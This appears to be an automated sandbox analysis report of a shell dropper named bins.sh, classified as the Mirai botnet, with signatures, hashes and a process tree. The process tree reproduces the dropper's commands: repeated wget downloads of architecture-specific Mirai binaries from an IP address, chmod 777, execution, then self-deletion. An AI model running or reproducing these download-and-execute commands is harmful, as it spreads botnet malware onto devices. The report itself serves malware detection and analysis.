Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20250619-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    05/11/2025, 04:35

General

  • Target
    bins.sh
  • Size 910B
  • Sample251105-e7wxrsslhk
  • SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (5922) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 23 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 23 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:708
    • /usr/bin/wget
      wget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper
      2⤵
      • Writes file to tmp directory
      PID:710
    • /bin/chmod
      chmod 777 dvrHelper
      2⤵
      • File and Directory Permissions Modification
      PID:730
    • /tmp/dvrHelper
      ./dvrHelper
      2⤵
        PID:731
      • /usr/bin/wget
        wget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper
        2⤵
        • Writes file to tmp directory
        PID:733
      • /bin/chmod
        chmod 777 dvrHelper
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/dvrHelper
        ./dvrHelper
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 dvrHelper
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/dvrHelper
          ./dvrHelper
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/chmod
            chmod 777 dvrHelper
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/dvrHelper
            ./dvrHelper
            2⤵
            • Deletes itself
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:750
          • /usr/bin/wget
            wget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper
            2⤵
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 dvrHelper
            2⤵
            • File and Directory Permissions Modification
            PID:757
          • /tmp/dvrHelper
            ./dvrHelper
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 dvrHelper
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/dvrHelper
              ./dvrHelper
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 dvrHelper
                2⤵
                • File and Directory Permissions Modification
                PID:768
              • /tmp/dvrHelper
                ./dvrHelper
                2⤵
                  PID:769
                • /usr/bin/wget
                  wget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper
                  2⤵
                  • Writes file to tmp directory
                  PID:771
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                    PID:783
                  • /usr/bin/wget
                    wget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:785
                  • /bin/chmod
                    chmod 777 dvrHelper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:794
                  • /tmp/dvrHelper
                    ./dvrHelper
                    2⤵
                      PID:795
                    • /usr/bin/wget
                      wget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper
                      2⤵
                      • Writes file to tmp directory
                      PID:797
                    • /bin/chmod
                      chmod 777 dvrHelper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:806
                    • /tmp/dvrHelper
                      ./dvrHelper
                      2⤵
                        PID:807
                      • /usr/bin/wget
                        wget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper
                        2⤵
                        • Writes file to tmp directory
                        PID:809
                      • /bin/chmod
                        chmod 777 dvrHelper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:821
                      • /tmp/dvrHelper
                        ./dvrHelper
                        2⤵
                          PID:823
                        • /usr/bin/wget
                          wget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper
                          2⤵
                          • Writes file to tmp directory
                          PID:825
                        • /bin/chmod
                          chmod 777 dvrHelper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:832
                        • /tmp/dvrHelper
                          ./dvrHelper
                          2⤵
                            PID:833
                          • /usr/bin/wget
                            wget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper
                            2⤵
                            • Writes file to tmp directory
                            PID:836
                          • /bin/chmod
                            chmod 777 dvrHelper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:837
                          • /tmp/dvrHelper
                            ./dvrHelper
                            2⤵
                              PID:838
                            • /usr/bin/wget
                              wget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper
                              2⤵
                              • Writes file to tmp directory
                              PID:840
                            • /bin/chmod
                              chmod 777 dvrHelper
                              2⤵
                              • File and Directory Permissions Modification
                              PID:841
                            • /tmp/dvrHelper
                              ./dvrHelper
                              2⤵
                                PID:842
                              • /usr/bin/wget
                                wget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:844
                              • /bin/chmod
                                chmod 777 dvrHelper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:845
                              • /tmp/dvrHelper
                                ./dvrHelper
                                2⤵
                                  PID:846
                                • /usr/bin/wget
                                  wget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:848
                                • /bin/chmod
                                  chmod 777 dvrHelper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:849
                                • /tmp/dvrHelper
                                  ./dvrHelper
                                  2⤵
                                    PID:850
                                  • /usr/bin/wget
                                    wget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:852
                                  • /bin/chmod
                                    chmod 777 dvrHelper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:861
                                  • /tmp/dvrHelper
                                    ./dvrHelper
                                    2⤵
                                      PID:862
                                    • /usr/bin/wget
                                      wget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:865
                                    • /bin/chmod
                                      chmod 777 dvrHelper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:873
                                    • /tmp/dvrHelper
                                      ./dvrHelper
                                      2⤵
                                        PID:875
                                      • /usr/bin/wget
                                        wget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:877
                                      • /bin/chmod
                                        chmod 777 dvrHelper
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:885
                                      • /tmp/dvrHelper
                                        ./dvrHelper
                                        2⤵
                                          PID:886
                                        • /usr/bin/wget
                                          wget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:888
                                        • /bin/chmod
                                          chmod 777 dvrHelper
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:895
                                        • /tmp/dvrHelper
                                          ./dvrHelper
                                          2⤵
                                            PID:896
                                          • /usr/bin/wget
                                            wget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:898
                                          • /bin/chmod
                                            chmod 777 dvrHelper
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:899
                                          • /tmp/dvrHelper
                                            ./dvrHelper
                                            2⤵
                                            • Deletes itself
                                            • Modifies Watchdog functionality
                                            • Enumerates active TCP sockets
                                            • Changes its process name
                                            • Reads system network configuration
                                            • Reads runtime system information
                                            PID:900
                                          • /usr/bin/wget
                                            wget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:905
                                          • /bin/chmod
                                            chmod 777 dvrHelper
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:907
                                          • /tmp/dvrHelper
                                            ./dvrHelper
                                            2⤵
                                              PID:908
                                            • /usr/bin/wget
                                              wget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:910
                                            • /bin/chmod
                                              chmod 777 dvrHelper
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:911
                                            • /tmp/dvrHelper
                                              ./dvrHelper
                                              2⤵
                                                PID:912
                                              • /bin/rm
                                                rm ./bins.sh
                                                2⤵
                                                  PID:914
                                                • /bin/rm
                                                  rm ./dvrHelper
                                                  2⤵
                                                    PID:915

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 52KB
                                                      • SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 389KB
                                                      • SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 58KB
                                                      • SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 78KB
                                                      • SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 53KB
                                                      • SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 389KB
                                                      • SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
                                                      • MD5 SHA1 SHA512 SSDEEP